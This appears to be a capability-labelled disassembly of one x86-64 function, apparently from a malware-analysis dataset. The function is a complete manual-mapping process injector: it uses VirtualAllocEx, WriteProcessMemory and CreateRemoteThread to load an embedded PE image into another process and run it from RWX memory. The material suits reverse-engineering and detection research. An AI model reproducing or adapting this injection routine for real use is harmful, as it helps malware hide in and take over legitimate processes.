Function at 0x140007e50
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xf]
sub rsp, 0xf0
mov rax, qword [0x14008c040]
xor rax, rsp
mov qword [rbp - 1], rax
mov eax, 0x5a4d
mov rsi, rcx
cmp word [0x14008cd00], ax
jne 0x14000833e
movsxd r14, dword [0x14008cd3c]
lea r12, [0x14008cd00]
add r14, r12
mov eax, 0x8664
cmp word [r14 + 4], ax
jne 0x14000833e
mov r8d, dword [r14 + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
je 0x14000833e
lea rax, [rbp - 0xd]
xor r13d, r13d
mov dword [rbp - 0xd], r13d
mov r9d, 0x40
mov r8d, dword [r14 + 0x50]
mov rdx, r15
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r9d, 0x1000
mov qword [rsp + 0x50], rax
mov r8, r12
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, r15
mov qword [rsp + 0x58], rax
mov rcx, rsi
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x71], r13
mov qword [rbp - 0x69], 1
mov qword [rbp - 0x59], 1
mov qword [rbp - 0x79], r15
mov qword [rbp - 0x61], r13
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140008329
movzx ebx, word [r14 + 0x14]
mov edi, r13d
add rbx, 0x2c
cmp word [r14 + 6], r13w
je 0x140007fbb
add rbx, r14
nop dword [rax]
mov eax, dword [rbx - 4]
test eax, eax
je 0x140007fac
mov r8d, dword [rbx]
mov r9d, eax
mov edx, dword [rbx - 8]
add r8, r12
add rdx, r15
mov qword [rsp + 0x20], r13
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140008329
movzx eax, word [r14 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x140007f80
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x40
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
je 0x140008329
mov r9d, 0x40
mov qword [rsp + 0x20], r13
lea r8, [rsp + 0x50]
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000830f
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x40], rax
mov rdi, rax
test rax, rax
je 0x14000830f
mov r9d, 0x1000
mov qword [rsp + 0x20], r13
lea r8, [0x140008370]
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400082e0
mov qword [rsp + 0x30], r13
mov r9, rdi
mov dword [rsp + 0x28], r13d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x1400082e0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp - 0x11]
mov dword [rbp - 0x11], r13d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rbp - 0x11], 0x103
jne 0x14000833e
xorps xmm0, xmm0
mov qword [rsp + 0x20], r13
mov r9d, 0x40
lea r8, [rbp - 0x51]
mov rdx, r12
mov rcx, rsi
movups xmmword [rbp - 0x51], xmm0
movups xmmword [rbp - 0x41], xmm0
movups xmmword [rbp - 0x31], xmm0
movups xmmword [rbp - 0x21], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rbx, qword [rbp - 0x31]
cmp rbx, 0x404040
je 0x1400082e0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x140008092
mov ecx, 0x1400000
call fcn.14002c520
mov r13, rax
test rax, rax
je 0x14000833e
xor edx, edx
mov r8d, 0x1400000
mov rcx, rax
call fcn.140069c00
mov r9d, 0x1000
mov qword [rsp + 0x20], 0
mov r8, r13
mov rdx, r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx ebx, word [r14 + 0x14]
xor edi, edi
movzx eax, word [r14 + 6]
add rbx, 0x18
add rbx, r14
test ax, ax
je 0x1400081ef
lea r8, str..rsrc
lea r9, str..reloc
nop dword [rax]
mov edx, dword [rbx + 8]
test edx, edx
je 0x1400081e0
xor ecx, ecx
nop dword [rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x140008196
cmp rcx, 6
jne 0x140008180
jmp 0x1400081b4
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r9 + rcx - 1]
jne 0x1400081e0
cmp rcx, 7
jne 0x1400081a0
mov r9, rdx
mov qword [rsp + 0x20], 0
mov edx, dword [rbx + 0xc]
mov r8, r13
add rdx, r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea r8, str..rsrc
lea r9, str..reloc
movzx eax, word [r14 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x140008170
movzx ebx, word [r14 + 0x14]
xor edi, edi
add rbx, 0x3c
test ax, ax
je 0x140008264
add rbx, r14
mov edx, 0x20
mov ecx, dword [rbx - 0x1c]
test ecx, ecx
je 0x140008255
mov eax, dword [rbx]
mov dword [rbp - 0x11], 0
test eax, 0x80000000
jbe 0x140008226
mov r9d, 4
jmp 0x140008235
test eax, 0x20000000
mov r9d, 2
cmova r9d, edx
mov edx, dword [rbx - 0x18]
lea rax, [rbp - 0x11]
mov r8, rcx
mov qword [rsp + 0x20], rax
add rdx, r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov edx, 0x20
movzx eax, word [r14 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x140008207
movzx eax, word [r14 + 0x14]
mov r9d, 2
mov dword [rbp - 9], 0
mov rdx, r15
mov rcx, rsi
mov r8d, dword [rax + r14 + 0x24]
lea rax, [rbp - 9]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rdx, qword [rsp + 0x40]
mov r9d, 0x1000
mov r8, r13
mov qword [rsp + 0x20], 0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rsp + 0x40]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, 1
jmp 0x140008340
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, rdi
jmp 0x14000832c
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, r12
jmp 0x14000832c
mov rdx, r15
mov r9d, 0x8000
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
mov rcx, qword [rbp - 1]
xor rcx, rsp
call fcn.14000e230
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret